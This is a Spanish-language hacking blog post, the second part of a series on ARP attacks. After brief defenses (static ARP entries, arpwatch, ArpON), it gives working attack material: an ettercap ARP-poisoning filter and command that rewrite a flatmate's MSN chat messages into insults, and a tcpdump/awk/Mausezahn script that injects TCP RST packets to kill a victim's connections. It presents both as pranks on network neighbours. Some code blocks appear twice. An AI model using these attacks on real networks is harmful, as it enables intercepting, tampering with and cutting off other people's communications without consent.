Aunque hablar de un objetivo para este texto sería algo capcioso, pues dudo que valga para algo o alguien lo lea....XDXDXD en principio lo tiene, pretendemos divertirnos aprendiendo e intentar ver que se pueden hacer las cosas de muchísimas maneras ... incluso con lo justo sin demasiadas herramientas... a lo "old school" como diría un vetusto amigo.
En esta entrada dejaremos a un lado nuestro arsenal preconfigurado y desempolvaremos viejas herramientas que teníamos ya casi olvidadas... Vamos y no me saco el cpc464 porque no tiene tarjeta wireless :P y de paso veremos como pasar unas risillas a costa de nuestros vecinos de red.
En la entrada anterior no mencione ningún tipo de contramedida, pero en esta lo haremos. Desde la modesta opinión del que os habla y como diría mi abuelita "hay que saber hacer de to...!!!!".
La última vez que nos vimos (en el sentido figurado de la frase, claro está), si mal no recuerdo, estábamos viendo como resetear sesiones establecidas muy a lo MacGyver, pero el objetivo era ver el porqué de las cosas.
También vimos un poco por encima los riesgos de dejar desprotegido el protocolo ARP.
Vamos a empezar si os parece comentando un par de contramedidas y luego seguimos...
La primera de ellas es la contramedida de las tres "Bs": buena, bonita y barata en cuanto a ARP se refiere y que, a nivel particular, la debería adoptar todo hijo de vecino en su red de casa. Se trata de establecer la MAC del router de forma estática ya que cuando menos no puede evitar un par de disgustos. Además, si en nuestra red están los tres CHUCHES de siempre: ordenador, teléfono e impresora tampoco sería malo establecer su MAC de forma no dinámica. Aunque pueda parecer difícil es algo sencillo que no lo vamos a tratar a fondo aquí, ya que hay cuarenta mil textos en Internet y se va un poco del objetivo del post.
Otra opción es usar la herramienta arpwatch que monitoriza la actividad de la red ethernet y mantiene una base de datos de pares de direcciones ip y mac. En caso de que se produzca un cambio, esta aplicación lo reporta por email.
Y ya para los niveles máximos de paranoia podemos contemplar la opción de instalar Arpón. Herramienta de la cual ya hablamos hace tiempo hackplayers.
3. YO NO DIJE ESO!!
Tras ver como proteger nuestra red sigamos con los ataques y vamos a ver uno muy divertido. Imaginaos que estáis con vuestro compañero de piso, o trabajo y él está hablando con su novia por el messenger.
Vamos a secuestrar esos paquetes y retocaremos la información, para ello vamos a utilizar ettercap y sus filtros:
msn.filter
if (ip.proto == TCP) {
if (tcp.src == 1863 || tcp.dst == 1863) {
if
(search(DATA.data, "")) { replace("guapisima", "petardaca"); replace("te
quiero", "q te jodan"); } } }
(search(DATA.data, "")) { replace("guapisima", "petardaca"); replace("te
quiero", "q te jodan"); } } }
Lo primero que haremos es "compilar "el filtro en ettercap y luego haremos fuego con el siguiente comando:
# ettercap -Tq -M arp:remote -i interface -F filter.ef // //
El resultado habla por si solo:
Bueno tras esta simpática metida de zarpa en paquetes ajenos (aconsejamos no decir esta frase fuera de contexto) vamos a ver un poquito mas de como coger los paquetes al vuelo y modificarlos, siguiendo con la primera parte del post en la que vimos como retocar los paquetes a mano y mandarlos..
Como podréis imaginar hacerlo de esa manera tan rudimentaria sería "imposible" porque no somos tan rápidos, tenemos que ver la manera de automatizar el proceso...
Para esto nos serviremos de dos grandes herramientas: TCPDUMP (para mí uno de los mejores sniffers jamás escritos, versátil, rápido y simple) y del generador de paquetes Mausezahn del cual hablamos también aquí en hackplayers.
También utilizaremos un pequeño script que he montado (por favor los puristas de la programación no seáis muy críticos) que os dejo aquí y en pastebin.
Lo que haremos
en este ejercicio es estar al loro de una nueva conexión, agarraremos
el paquete que nos interesa y cerraremos la conexión.
Dejamos
a tcpdump con la oreja puesta en las conexiones de la víctima
192.168.0.107 atento a los paquetes syn-ack gracias al
filtro 'tcp[tcpflags]
& (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' En
cuanto lo reciba leeremos la info que nos interesa, en este caso es el
ack y los datos de la conexión.
Le pasamos esa
información a MZ y montamos un paquete con flag RST actiell seq_num
correspondiente para cerrar la conexión...
#script by The Monster of cookies
#!/bin/bash
tcpdump -i wlan0 host 192.168.0.107 and -S -n -e -l
'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' | awk '{ CONVFMT="%u"; srand(); #recogemos
las variables de la salida tcpdump dst_mac = $2; src_mac = $4; split($12, dst, "."); split($10, src, ".");
src_ip = src[1]"."src[2]"."src[3]"."src[4]; dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4]; src_port = substr(src[5],
1, length(src[5])); dst_port = substr(dst[5], 1, length(dst[5])-1); # recogemos el ack number para poder
mandar paquetes licitos seq_num = $18 ; # le pasamos la informacion a mausehn exec_string= "mz wlan0 -c
10 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ",
s="seq_num " sp="dst_port" \" " ; # Informacion.. input vs. output print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6"
"$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19; print "[out] "exec_string; #
Injectamos los paquetes con Mausezahn system(exec_string); }'
'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' | awk '{ CONVFMT="%u"; srand(); #recogemos
las variables de la salida tcpdump dst_mac = $2; src_mac = $4; split($12, dst, "."); split($10, src, ".");
src_ip = src[1]"."src[2]"."src[3]"."src[4]; dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4]; src_port = substr(src[5],
1, length(src[5])); dst_port = substr(dst[5], 1, length(dst[5])-1); # recogemos el ack number para poder
mandar paquetes licitos seq_num = $18 ; # le pasamos la informacion a mausehn exec_string= "mz wlan0 -c
10 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ",
s="seq_num " sp="dst_port" \" " ; # Informacion.. input vs. output print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6"
"$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19; print "[out] "exec_string; #
Injectamos los paquetes con Mausezahn system(exec_string); }'
Esto solo es una pequeña muestra de lo que podemos hacer, podemos enrevesar el proceso cuanto queramos y conseguir cosas muy, muy interesantes....espero que os haya gustado.
Un saludo.
No hay comentarios:
Publicar un comentario